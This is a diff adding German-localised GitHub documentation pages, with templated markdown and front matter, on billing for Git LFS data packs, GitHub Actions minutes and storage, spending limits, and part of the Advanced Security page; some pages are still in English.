+title: Informationen zur Abrechnung für Git Large File Storage
+intro: 'Wenn du zusätzlichen Speicher und zusätzliche Bandbreite für {% data variables.large_files.product_name_long %} kaufst, gilt für deinen Kauf das bestehende Abrechnungsdatum, die Zahlungsmethode und die Quittung deines Kontos.'
+redirect_from:
+  - /github/setting-up-and-managing-billing-and-payments-on-github/about-billing-for-git-large-file-storage
+  - /articles/about-billing-for-git-large-file-storage
+  - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-git-large-file-storage/about-billing-for-git-large-file-storage
+versions:
+  fpt: '*'
+  ghec: '*'
+type: overview
+topics:
+  - LFS
+  - Upgrades
+shortTitle: About Git LFS billing
+ms.openlocfilehash: e09a093aa827d3ed4a25236f42cee65c1c195f14
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145085839'
+---
+## Informationen zur Abrechnung für {% data variables.large_files.product_name_long %}
+
+{% data reusables.large_files.free-storage-bandwidth-amount %} {% data reusables.large_files.does_not_carry %}
+
+{% data reusables.large_files.owner_quota_only %}
+
+{% data reusables.user-settings.context_switcher %}
+
+## Zusätzlichen Speicher und zusätzliche Bandbreite kaufen
+
+Zusätzlicher Speicher und zusätzliche Bandbreite werden in einem einzigen Datenpaket angeboten. Ein Datenpaket kostet {% data variables.large_files.pack_monthly_price %} und bietet ein monatliches Kontingent von {% data variables.large_files.pack_monthly_bandwidth %} an Bandbreite und {% data variables.large_files.pack_monthly_storage %} an Speicher. Du kannst so viele Datenpakete kaufen, wie Du benötigst. Wenn Du beispielsweise 150 GB Speicherplatz benötigst, kannst Du drei Datenpakete kaufen.
+
+Der Kauf von Datenpaketen für {% data variables.large_files.product_name_short %} ist unabhängig von jeder anderen kostenpflichtigen Funktion respektive jedem anderen Produkt auf {% data variables.product.product_name %}.
+
+## Speicher und Bandbreite herabstufen
+
+Wenn Du die Anzahl Deiner zusätzlichen Datenpakete herabstufst, werden Deine Änderungen zum nächsten Abrechnungsdatum wirksam.
+
+## Weiterführende Themen
+
+- [Informationen zu {% data variables.large_files.product_name_long %}](/articles/about-git-large-file-storage)
+- [Installieren von {% data variables.large_files.product_name_long %}](/articles/installing-git-large-file-storage)
+- [Informationen zur Speicher- und Bandbreitennutzung](/articles/about-storage-and-bandwidth-usage)
+- [Informationen zur Nutzung für {% data variables.large_files.product_name_long %}](/articles/viewing-your-git-large-file-storage-usage)
+- [Erweitern von {% data variables.large_files.product_name_long %}](/articles/upgrading-git-large-file-storage)
+- [Herabstufen von {% data variables.large_files.product_name_long %}](/articles/downgrading-git-large-file-storage)
diff --git a/translations/de-DE/content/billing/managing-billing-for-git-large-file-storage/downgrading-git-large-file-storage.md b/translations/de-DE/content/billing/managing-billing-for-git-large-file-storage/downgrading-git-large-file-storage.md
new file mode 100644
index 0000000000..422654b867
--- /dev/null
+++ b/translations/de-DE/content/billing/managing-billing-for-git-large-file-storage/downgrading-git-large-file-storage.md
@@ -0,0 +1,37 @@
+---
+title: Git Large File Storage herabstufen
+intro: 'Du kannst Speicher und Bandbreite für {% data variables.large_files.product_name_short %} in Stufen von je 50 GB pro Monat herabstufen.'
+redirect_from:
+  - /github/setting-up-and-managing-billing-and-payments-on-github/downgrading-git-large-file-storage
+  - /articles/downgrading-storage-and-bandwidth-for-a-personal-account
+  - /articles/downgrading-storage-and-bandwidth-for-an-organization
+  - /articles/downgrading-git-large-file-storage
+  - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-git-large-file-storage/downgrading-git-large-file-storage
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Downgrades
+  - LFS
+  - Organizations
+  - User account
+shortTitle: Downgrade Git LFS storage
+ms.openlocfilehash: 9e23d3d8eaee5362375ca427a7b58505eccbaa05
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145085836'
+---
+Wenn Du die Anzahl Deiner Datenpakete herabstufst, werden Deine Änderungen zum nächsten Abrechnungsdatum wirksam. Weitere Informationen findest du unter [Informationen zur Abrechnung für {% data variables.large_files.product_name_long %}](/articles/about-billing-for-git-large-file-storage).
+
+## Speicher und Bandbreite für ein persönliches Konto herabstufen
+
+{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.billing_plans %} {% data reusables.dotcom_billing.lfs-remove-data %} {% data reusables.large_files.downgrade_data_packs %}
+
+## Speicher und Bandbreite für eine Organisation herabstufen
+
+{% data reusables.dotcom_billing.org-billing-perms %}
+
+{% data reusables.organizations.billing-settings %} {% data reusables.dotcom_billing.lfs-remove-data %} {% data reusables.large_files.downgrade_data_packs %}
diff --git a/translations/de-DE/content/billing/managing-billing-for-git-large-file-storage/index.md b/translations/de-DE/content/billing/managing-billing-for-git-large-file-storage/index.md
new file mode 100644
index 0000000000..ce6a9d363f
--- /dev/null
+++ b/translations/de-DE/content/billing/managing-billing-for-git-large-file-storage/index.md
@@ -0,0 +1,26 @@
+---
+title: Abrechnung für Git Large File Storage verwalten
+shortTitle: Git Large File Storage
+intro: 'Du kannst die Nutzung anzeigen und {% data variables.large_files.product_name_long %} upgraden und herabstufen.'
+redirect_from:
+  - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-git-large-file-storage
+  - /articles/managing-large-file-storage-and-bandwidth-for-your-personal-account
+  - /articles/managing-large-file-storage-and-bandwidth-for-your-organization
+  - /articles/managing-storage-and-bandwidth-usage
+  - /articles/managing-billing-for-git-large-file-storage
+versions:
+  fpt: '*'
+  ghec: '*'
+children:
+  - /about-billing-for-git-large-file-storage
+  - /viewing-your-git-large-file-storage-usage
+  - /upgrading-git-large-file-storage
+  - /downgrading-git-large-file-storage
+ms.openlocfilehash: 6691e8291de4dc3dc7962bc4e202122438de9ec5
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145085835'
+---
+
diff --git a/translations/de-DE/content/billing/managing-billing-for-git-large-file-storage/upgrading-git-large-file-storage.md b/translations/de-DE/content/billing/managing-billing-for-git-large-file-storage/upgrading-git-large-file-storage.md
new file mode 100644
index 0000000000..54b91c0cb0
--- /dev/null
+++ b/translations/de-DE/content/billing/managing-billing-for-git-large-file-storage/upgrading-git-large-file-storage.md
@@ -0,0 +1,42 @@
+---
+title: Git Large File Storage heraufstufen
+intro: 'Du kannst zusätzliche Datenpakete kaufen, um dein monatliches Bandbreitenkontingent und um die Gesamtspeicherkapazität für {% data variables.large_files.product_name_short %} zu erhöhen.'
+redirect_from:
+  - /github/setting-up-and-managing-billing-and-payments-on-github/upgrading-git-large-file-storage
+  - /articles/purchasing-additional-storage-and-bandwidth-for-a-personal-account
+  - /articles/purchasing-additional-storage-and-bandwidth-for-an-organization
+  - /articles/upgrading-git-large-file-storage
+  - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-git-large-file-storage/upgrading-git-large-file-storage
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - LFS
+  - Organizations
+  - Upgrades
+  - User account
+shortTitle: Upgrade Git LFS storage
+ms.openlocfilehash: 261ef75ee139cf8c1bcec01c09d95444d64ecc89
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145085828'
+---
+## Zusätzlichen Speicher und Bandbreite für ein persönliches Konto kaufen
+
+{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.billing_plans %} {% data reusables.dotcom_billing.lfs-add-data %} {% data reusables.large_files.pack_selection %} {% data reusables.large_files.pack_confirm %}
+
+## Zusätzlichen Speicher und Bandbreite für eine Organisation kaufen
+
+{% data reusables.dotcom_billing.org-billing-perms %}
+
+{% data reusables.organizations.billing-settings %} {% data reusables.dotcom_billing.lfs-add-data %} {% data reusables.large_files.pack_selection %} {% data reusables.large_files.pack_confirm %}
+
+## Weiterführende Themen
+
+- [Informationen zur Abrechnung für {% data variables.large_files.product_name_long %}](/articles/about-billing-for-git-large-file-storage)
+- [Informationen zur Speicher- und Bandbreitennutzung](/articles/about-storage-and-bandwidth-usage)
+- [Informationen zur Nutzung für {% data variables.large_files.product_name_long %}](/articles/viewing-your-git-large-file-storage-usage)
+- [Versionierung von großen Dateien](/articles/versioning-large-files)
diff --git a/translations/de-DE/content/billing/managing-billing-for-git-large-file-storage/viewing-your-git-large-file-storage-usage.md b/translations/de-DE/content/billing/managing-billing-for-git-large-file-storage/viewing-your-git-large-file-storage-usage.md
new file mode 100644
index 0000000000..a1b09d7d27
--- /dev/null
+++ b/translations/de-DE/content/billing/managing-billing-for-git-large-file-storage/viewing-your-git-large-file-storage-usage.md
@@ -0,0 +1,41 @@
+---
+title: Anzeigen der Git Large File Storage-Nutzung
+intro: 'Du kannst das monatliche Bandbreitenkontingent deines Kontos und den verbleibenden Speicher für {% data variables.large_files.product_name_short %} überwachen.'
+redirect_from:
+  - /github/setting-up-and-managing-billing-and-payments-on-github/viewing-your-git-large-file-storage-usage
+  - /articles/viewing-storage-and-bandwidth-usage-for-a-personal-account
+  - /articles/viewing-storage-and-bandwidth-usage-for-an-organization
+  - /articles/viewing-your-git-large-file-storage-usage
+  - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-git-large-file-storage/viewing-your-git-large-file-storage-usage
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - LFS
+  - Organizations
+  - User account
+shortTitle: View Git LFS usage
+ms.openlocfilehash: 1a0bc2ec9df2479cb0a56a54494fd4bead72e358
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145085824'
+---
+{% data reusables.large_files.owner_quota_only %} {% data reusables.large_files.does_not_carry %}
+
+## Speicher- und Bandbreitennutzung für ein persönliches Konto
+
+{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.billing_plans %} {% data reusables.dotcom_billing.lfs-data %}
+
+## Speicher- und Bandbreitennutzung für eine Organisation
+
+{% data reusables.dotcom_billing.org-billing-perms %}
+
+{% data reusables.organizations.billing-settings %} {% data reusables.dotcom_billing.lfs-data %}
+
+## Weiterführende Themen
+
+- [Informationen zur Speicher- und Bandbreitennutzung](/articles/about-storage-and-bandwidth-usage)
+- [Aktualisieren von {% data variables.large_files.product_name_long %}](/articles/upgrading-git-large-file-storage/)
diff --git a/translations/de-DE/content/billing/managing-billing-for-github-actions/about-billing-for-github-actions.md b/translations/de-DE/content/billing/managing-billing-for-github-actions/about-billing-for-github-actions.md
new file mode 100644
index 0000000000..6e8acc6b4d
--- /dev/null
+++ b/translations/de-DE/content/billing/managing-billing-for-github-actions/about-billing-for-github-actions.md
@@ -0,0 +1,115 @@
+---
+title: About billing for GitHub Actions
+intro: 'If you want to use {% data variables.product.prodname_actions %} beyond the storage or minutes included in your account, you will be billed for additional usage.'
+miniTocMaxHeadingLevel: 3
+redirect_from:
+  - /github/setting-up-and-managing-billing-and-payments-on-github/about-billing-for-github-actions
+  - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-actions/about-billing-for-github-actions
+versions:
+  fpt: '*'
+  ghec: '*'
+type: overview
+topics:
+  - Actions
+  - Spending limits
+shortTitle: Billing for GitHub Actions
+---
+## About billing for {% data variables.product.prodname_actions %}
+
+{% data reusables.actions.actions-billing %}
+
+{% data reusables.actions.actions-spending-limit-brief %} For more information, see "[About spending limits](#about-spending-limits)."
+
+{% ifversion ghec %}
+If you purchased {% data variables.product.prodname_enterprise %} through a Microsoft Enterprise Agreement, you can connect your Azure Subscription ID to your enterprise account to enable and pay for {% data variables.product.prodname_actions %} usage beyond the amounts including with your account. For more information, see "[Connecting an Azure subscription to your enterprise](/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise)."
+{% endif %}
+
+Minutes reset every month, while storage usage does not.
+
+### Included storage and minutes
+
+{% ifversion actions-hosted-runners %} 
+{% note %}
+
+**Note**: Entitlement minutes cannot be used for Windows and Ubuntu runners over 2-cores. These runners will always be charged for, including in public repos. For more information, see "[Per-minute rates for runners](/billing/managing-billing-for-github-actions/about-billing-for-github-actions#per-minute-rates)."
+
+{% endnote %}
+{% endif %}
+
+|Product | Storage | Minutes (per month)|
+|------- | ------- | ---------|
+| {% data variables.product.prodname_free_user %} | 500 MB | 2,000 |
+| {% data variables.product.prodname_pro %} | 1 GB | 3,000 |
+| {% data variables.product.prodname_free_team %} for organizations | 500 MB | 2,000 |
+| {% data variables.product.prodname_team %} | 2 GB | 3,000 |
+| {% data variables.product.prodname_ghe_cloud %} | 50 GB | 50,000 |
+
+Jobs that run on Windows and macOS runners that {% data variables.product.prodname_dotcom %} hosts consume minutes at 2 and 10 times the rate that jobs on Linux runners consume. For example, using 1,000 Windows minutes would consume 2,000 of the minutes included in your account. Using 1,000 macOS minutes, would consume 10,000 minutes included in your account.
+
+### Minute multipliers
+
+| Operating system | Minute multiplier |
+|------- | ---------|
+| Linux | 1 |
+| macOS| 10 |
+| Windows | 2 |
+
+The storage used by a repository is the total storage used by {% data variables.product.prodname_actions %} artifacts and {% data variables.product.prodname_registry %}. Your storage cost is the total usage for all repositories owned by your account. For more information about pricing for  {% data variables.product.prodname_registry %}, see "[About billing for {% data variables.product.prodname_registry %}](/billing/managing-billing-for-github-packages/about-billing-for-github-packages)."
+
+ If your account's usage surpasses these limits and you have set a spending limit above $0 USD, you will pay $0.008 USD per GB of storage per day and per-minute usage depending on the operating system used by the {% data variables.product.prodname_dotcom %}-hosted runner. {% data variables.product.prodname_dotcom %} rounds the minutes and partial minutes each job uses up to the nearest whole minute.
+
+{% note %}
+
+**Note:** Minute multipliers do not apply to the per-minute rates shown below.
+
+{% endnote %}
+
+### Per-minute rates
+
+{% data reusables.billing.billing-standard-runners %}
+{% ifversion actions-hosted-runners %}{% data reusables.billing.billing-hosted-runners %}{% endif %}
+
+- The number of jobs you can run concurrently across all repositories in your user or organization account depends on your GitHub plan. For more information, see "[Usage limits and billing](/actions/reference/usage-limits-billing-and-administration)" for {% data variables.product.prodname_dotcom %}-hosted runners and "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits)" for self-hosted runner usage limits.
+- {% data reusables.user-settings.context_switcher %}
+{% ifversion actions-hosted-runners %} 
+- For {% data variables.actions.hosted_runner %}s, there is no additional cost for configurations that assign public static IP addresses to a {% data variables.actions.hosted_runner %}. For more information on {% data variables.actions.hosted_runner %}s, see "[Using {% data variables.actions.hosted_runner %}s](/actions/using-github-hosted-runners/using-larger-runners)."
+- Entitlement minutes cannot be used for {% data variables.actions.hosted_runner %}s.
+- The {% data variables.actions.hosted_runner %}s are not free for public repositories.
+{% endif %}
+
+## Calculating minute and storage spending
+
+{% data reusables.dotcom_billing.pricing_calculator.pricing_cal_actions %}
+
+At the end of the month, {% data variables.product.prodname_dotcom %} calculates the cost of minutes and storage used over the amount included in your account.
+
+### Sample minutes cost calculation
+
+For example, if your organization uses {% data variables.product.prodname_team %} and allows unlimited spending, using 5,000 minutes could have a total storage and minute overage cost of $56 USD, depending on the operating systems used to run jobs.
+
+- 5,000 (3,000 Linux and 2,000 Windows) minutes = $56 USD ($24 USD + $32 USD).
+  - 3,000 Linux minutes at $0.008 USD per minute = $24 USD.
+  - 2,000 Windows minutes at $0.016 USD per minute = $32 USD.
+
+{% data variables.product.prodname_dotcom %} calculates your storage usage for each month based on hourly usage during that month.
+
+### Sample storage cost calculation
+
+For example, if you use 3 GB of storage for 10 days of March and 12 GB for 21 days of March, your storage usage would be:
+
+- 3 GB x 10 days x (24 hours per day) = 720 GB-Hours
+- 12 GB x 21 days x (24 hours per day) = 6,048 GB-Hours
+- 720 GB-Hours + 6,048 GB-Hours = 6,768 GB-Hours
+- 6,768 GB-Hours / (744 hours per month) = 9.0967 GB-Months
+
+At the end of the month, {% data variables.product.prodname_dotcom %} rounds your storage to the nearest MB. Therefore, your storage usage for March would be 9.097 GB.
+
+Your {% data variables.product.prodname_actions %} usage shares your account's existing billing date, payment method, and receipt. {% data reusables.dotcom_billing.view-all-subscriptions %}
+
+## About spending limits
+
+{% data reusables.actions.actions-spending-limit-detailed %}
+
+For information on managing and changing your account's spending limit, see "[Managing your spending limit for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/managing-your-spending-limit-for-github-actions)."
+
+{% data reusables.dotcom_billing.actions-packages-unpaid-account %}
diff --git a/translations/de-DE/content/billing/managing-billing-for-github-actions/index.md b/translations/de-DE/content/billing/managing-billing-for-github-actions/index.md
new file mode 100644
index 0000000000..08ba9f90c5
--- /dev/null
+++ b/translations/de-DE/content/billing/managing-billing-for-github-actions/index.md
@@ -0,0 +1,21 @@
+---
+title: Abrechnung für GitHub Actions verwalten
+shortTitle: GitHub Actions
+intro: 'Du kannst Deine Nutzung ansehen und ein Ausgabenlimit für {% data variables.product.prodname_actions %} setzen.'
+redirect_from:
+  - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-actions
+versions:
+  fpt: '*'
+  ghec: '*'
+children:
+  - /about-billing-for-github-actions
+  - /viewing-your-github-actions-usage
+  - /managing-your-spending-limit-for-github-actions
+ms.openlocfilehash: 18e66a669a0ed0b6f1edb2c5d8956d462f8a819c
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145085808'
+---
+
diff --git a/translations/de-DE/content/billing/managing-billing-for-github-actions/managing-your-spending-limit-for-github-actions.md b/translations/de-DE/content/billing/managing-billing-for-github-actions/managing-your-spending-limit-for-github-actions.md
new file mode 100644
index 0000000000..8adc01da7a
--- /dev/null
+++ b/translations/de-DE/content/billing/managing-billing-for-github-actions/managing-your-spending-limit-for-github-actions.md
@@ -0,0 +1,62 @@
+---
+title: Verwalten Ihres Ausgabenlimits für GitHub Actions
+intro: 'Du kannst ein Ausgabenlimit für {% data variables.product.prodname_actions %} festlegen.'
+redirect_from:
+  - /github/setting-up-and-managing-billing-and-payments-on-github/managing-your-spending-limit-for-github-actions
+  - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-actions/managing-your-spending-limit-for-github-actions
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Actions
+  - Enterprise
+  - Organizations
+  - Spending limits
+  - User account
+shortTitle: Spending limits for Actions
+ms.openlocfilehash: c1bd595a866b9e48fa4e82ebe93718328514fad9
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145085804'
+---
+## Über Ausgabenlimits für {% data variables.product.prodname_actions %}
+
+{% data reusables.actions.actions-billing %}
+
+{% data reusables.actions.actions-spending-limit-brief %}
+
+{% data reusables.actions.actions-packages-set-spending-limit %} Weitere Informationen zu den Preisen für die Nutzung von {% data variables.product.prodname_actions %} findest du unter [Informationen zur Abrechnung für {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions).
+
+{% ifversion ghec %} Wenn du {% data variables.product.prodname_enterprise %} über ein Microsoft Enterprise Agreement erworben hast, kannst du deine Azure-Abonnement-ID mit deinem Unternehmenskonto verbinden, um die Nutzung von {% data variables.product.prodname_actions %} über die im Konto enthaltenen Beträge hinaus zu aktivieren und zu bezahlen. Weitere Informationen findest du unter [Verbinden eines Azure-Abonnements mit deinem Unternehmen](/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise).
+{% endif %}
+
+Sobald du ein anderes Ausgabenlimit als 0 $ festlegst, bist du für alle vorhandenen Überschreitungen im aktuellen Abrechnungszeitraum verantwortlich. Wenn Dein Unternehmen beispielsweise {% data variables.product.prodname_team %} verwendet, keine Überschreitungen zulässt, und Workflow-Artefakte erstellt, die Deinen Speicherverbrauch für den Monat von 1,9 GB auf 2,1 GB erhöht, wirst Du leicht mehr Speicher als die 2 GB nutzen, die Dein Produkt enthält.
+
+Da du keine Überschreitungen aktiviert hast, schlägt dein nächster Versuch, ein Workflowartefakt zu erstellen, fehl. Du wirst keine Rechnung für die Überschreitung um 0,1 GB für diesen Monat erhalten. Wenn du jedoch Überschreitungen aktivierst, enthält deine erste Rechnung die 0,1 GB Überschreitung des aktuellen Abrechnungszeitraums sowie alle weiteren hinzukommenden Überschreitungen.
+
+## Verwalten des Ausgabenlimits für {% data variables.product.prodname_actions %} für dein persönliches Konto
+
+Jeder Benutzer kann das Ausgabenlimit für {% data variables.product.prodname_actions %} für sein eigenes persönliches Konto verwalten.
+
+{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.billing_plans %} {% data reusables.dotcom_billing.manage-spending-limit %} {% data reusables.dotcom_billing.monthly-spending-limit %} {% data reusables.dotcom_billing.update-spending-limit %}
+
+## Das Ausgabenlimit für {% data variables.product.prodname_actions %} für Deine Organisation verwalten
+
+Organisationsinhaber und Abrechnungsmanager können das Ausgabenlimit von {% data variables.product.prodname_actions %} für eine Organisation verwalten.
+
+{% data reusables.organizations.billing-settings %} {% data reusables.dotcom_billing.manage-spending-limit %} {% data reusables.dotcom_billing.monthly-spending-limit-actions-packages %} {% data reusables.dotcom_billing.update-spending-limit %}
+
+{% ifversion ghec %}
+## Das Ausgabenlimit für {% data variables.product.prodname_actions %} für Dein Enterprise-Konto verwalten
+
+Enterprise-Inhaber und Abrechnungsmanager können das Ausgabenlimit von {% data variables.product.prodname_actions %} für ein Enterprise-Konto verwalten.
+
+{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.billing-tab %}
+1. Klicke oberhalb von „Monatliche Nutzung von {% data variables.product.prodname_actions %} und Paketen“ auf **Ausgabenlimit**.
+  ![Registerkarte „Ausgabenlimit“](/assets/images/help/settings/spending-limit-tab-enterprise.png) {% data reusables.dotcom_billing.monthly-spending-limit %} {% data reusables.dotcom_billing.update-spending-limit %} {% endif %}
+
+## Verwalten von E-Mail-Benachrichtigungen zur Nutzung und zum Ausgabenlimit
+{% data reusables.billing.email-notifications %}
diff --git a/translations/de-DE/content/billing/managing-billing-for-github-actions/viewing-your-github-actions-usage.md b/translations/de-DE/content/billing/managing-billing-for-github-actions/viewing-your-github-actions-usage.md
new file mode 100644
index 0000000000..9964a3fb1d
--- /dev/null
+++ b/translations/de-DE/content/billing/managing-billing-for-github-actions/viewing-your-github-actions-usage.md
@@ -0,0 +1,51 @@
+---
+title: Anzeigen der GitHub Actions-Nutzung
+intro: 'Du kannst Details über Deine Nutzung von Minuten und Speicher für {% data variables.product.prodname_actions %} anzeigen.'
+redirect_from:
+  - /github/setting-up-and-managing-billing-and-payments-on-github/viewing-your-github-actions-usage
+  - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-actions/viewing-your-github-actions-usage
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Actions
+  - Enterprise
+  - Organizations
+  - User account
+shortTitle: View your Actions usage
+ms.openlocfilehash: a41da21abe606b0de11bf7cf7e1b8be6f4e2edbe
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147065170'
+---
+Du kannst auch die verrechenbaren Auftrags-Ausführungsminuten für eine einzelne Workflow-Ausführung anzeigen. Weitere Informationen findest du unter [Anzeigen der Auftragsausführungszeit](/actions/managing-workflow-runs/viewing-job-execution-time).
+
+## Anzeigen der {% data variables.product.prodname_actions %}-Nutzung für dein persönliches Konto
+
+Jeder Benutzer kann die Nutzung von {% data variables.product.prodname_actions %} für sein eigenes persönliches Konto anzeigen.
+
+{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.billing_plans %} {% data reusables.dotcom_billing.actions-minutes %} {% data reusables.dotcom_billing.actions-packages-storage %} {% data reusables.dotcom_billing.actions-packages-report-download %}
+
+## {% data variables.product.prodname_actions %}-Nutzung für Deine Organisation anzeigen
+
+Organisationsinhaber und Abrechnungsmanager können die Nutzung von {% data variables.product.prodname_actions %} für eine Organisation anzeigen. Für Organisationen, die von einem Unternehmenskonto verwaltet werden, können nur die Organisationsinhaber die {% data variables.product.prodname_actions %}-Nutzung auf der Abrechnungsseite der Organisation anzeigen.
+
+{% data reusables.organizations.billing-settings %} {% data reusables.dotcom_billing.actions-minutes %} {% data reusables.dotcom_billing.actions-packages-storage %} {% data reusables.dotcom_billing.actions-packages-report-download-org-account %}
+
+{% ifversion ghec %}
+## {% data variables.product.prodname_actions %}-Nutzung für Dein Enterprise-Konto anzeigen
+
+Enterprise-Inhaber und Abrechnungsmanager können die Nutzung von {% data variables.product.prodname_actions %} für ein Enterprise-Konto anzeigen.
+
+{% note %}
+
+**Hinweis:** Die verbrauchten Minuten für jedes Betriebssystem werden in den Abrechnungsdetails für Unternehmenskonten nicht zusammengefasst. {% data reusables.actions.enterprise-billing-details %}
+
+{% endnote %}
+
+{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.billing-tab %}
+1. Unter „{% data variables.product.prodname_actions %}" siehst Du die Details der Nutzung der Datenübertragung für jede Organisation in Deinem Enterprise-Konto.
+  ![Details der verbrauchten Minuten](/assets/images/help/billing/actions-minutes-enterprise.png) {% data reusables.dotcom_billing.actions-packages-storage-enterprise-account %} {% data reusables.enterprise-accounts.actions-packages-report-download-enterprise-accounts %} {% endif %}
diff --git a/translations/de-DE/content/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security.md b/translations/de-DE/content/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security.md
new file mode 100644
index 0000000000..972856f9bb
--- /dev/null
+++ b/translations/de-DE/content/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security.md
@@ -0,0 +1,90 @@
+---
+title: About billing for GitHub Advanced Security
+intro: 'If you want to use {% data variables.product.prodname_GH_advanced_security %} features{% ifversion fpt or ghec %} in a private or internal repository{% endif %}, you need a license{% ifversion fpt %} for your enterprise{% endif %}.{% ifversion fpt or ghec %} These features are available free of charge for public repositories on {% data variables.product.prodname_dotcom_the_website %}.{% endif %}'
+product: '{% data reusables.gated-features.ghas %}'
+redirect_from:
+  - /admin/advanced-security/about-licensing-for-github-advanced-security
+  - /billing/managing-licensing-for-github-advanced-security/about-licensing-for-github-advanced-security
+  - /github/setting-up-and-managing-billing-and-payments-on-github/about-licensing-for-github-advanced-security
+  - /github/setting-up-and-managing-billing-and-payments-on-github/managing-licensing-for-github-advanced-security/about-licensing-for-github-advanced-security
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghec: '*'
+type: overview
+topics:
+  - Advanced Security
+  - Enterprise
+  - Licensing
+shortTitle: Advanced Security billing
+---
+
+## About billing for {% data variables.product.prodname_GH_advanced_security %}
+
+{% ifversion fpt %}
+
+If you want to use {% data variables.product.prodname_GH_advanced_security %} features on any repository apart from a public repository on {% data variables.product.prodname_dotcom_the_website %}, you will need a {% data variables.product.prodname_GH_advanced_security %} license, available with {% data variables.product.prodname_ghe_cloud %} or {% data variables.product.prodname_ghe_server %}. 
+
+For information about billing for {% data variables.product.prodname_GH_advanced_security %}, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security).
+
+{% elsif ghec %}
+
+If you want to use {% data variables.product.prodname_GH_advanced_security %} features on any repository apart from a public repository on {% data variables.product.prodname_dotcom_the_website %}, you will need a {% data variables.product.prodname_GH_advanced_security %} license. For more information about {% data variables.product.prodname_GH_advanced_security %}, see "[About {% data variables.product.prodname_GH_advanced_security %}](/github/getting-started-with-github/about-github-advanced-security)."
+
+{% elsif ghes %}
+
+You can make extra features for code security available to users by buying and uploading a license for {% data variables.product.prodname_GH_advanced_security %}. For more information about {% data variables.product.prodname_GH_advanced_security %}, see "[About {% data variables.product.prodname_GH_advanced_security %}](/github/getting-started-with-github/about-github-advanced-security)."
+
+{% endif %}
+
+{% ifversion ghes or ghec %}
+
+{% data reusables.advanced-security.license-overview %}
+
+{% ifversion ghes %}
+You can determine how many licenses you'll need for {% data variables.product.prodname_GH_advanced_security %} by generating a count of your instance's active committers in the site admin dashboard. For more information, see "[Site admin dashboard](/admin/configuration/configuring-your-enterprise/site-admin-dashboard#advanced-security-committers)."
+{% endif %}
+
+To discuss licensing {% data variables.product.prodname_GH_advanced_security %} for your enterprise, contact {% data variables.contact.contact_enterprise_sales %}.
+
+## About committer numbers for {% data variables.product.prodname_GH_advanced_security %}
+
+{% data reusables.advanced-security.about-committer-numbers-ghec-ghes %}
+
+{% ifversion fpt or ghes or ghec %}
+
+{% data reusables.advanced-security.managing-license-usage-ghec-ghes %}
+
+{% endif %}
+
